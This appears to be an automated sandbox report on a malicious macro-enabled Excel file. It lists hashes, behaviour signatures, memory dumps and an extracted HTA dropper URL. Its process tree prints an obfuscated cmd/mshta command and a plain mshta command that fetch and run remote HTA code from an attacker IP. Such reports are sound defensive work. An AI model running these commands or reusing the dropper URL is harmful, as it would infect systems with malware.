Analysis

  • max time kernel
    106s
  • max time network
    95s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    11-06-2022 16:38

General

  • Target

    ?i=1lwwldsfc.xlsm

  • Size

    114KB

  • MD5

    f8ecaf3d4168b075f418c121a763ae0f

  • SHA1

    cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3

  • SHA256

    d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

  • SHA512

    bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/sec/sec.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1lwwldsfc.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1264
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1988

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1264-59-0x0000000000000000-mapping.dmp

  • memory/1644-54-0x000000002FD91000-0x000000002FD94000-memory.dmp

    Filesize

    12KB

  • memory/1644-55-0x0000000071621000-0x0000000071623000-memory.dmp

    Filesize

    8KB

  • memory/1644-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1644-57-0x000000007260D000-0x0000000072618000-memory.dmp

    Filesize

    44KB

  • memory/1644-58-0x0000000075841000-0x0000000075843000-memory.dmp

    Filesize

    8KB

  • memory/1644-62-0x000000007260D000-0x0000000072618000-memory.dmp

    Filesize

    44KB

  • memory/1644-72-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1644-73-0x000000007260D000-0x0000000072618000-memory.dmp

    Filesize

    44KB

  • memory/1988-60-0x0000000000000000-mapping.dmp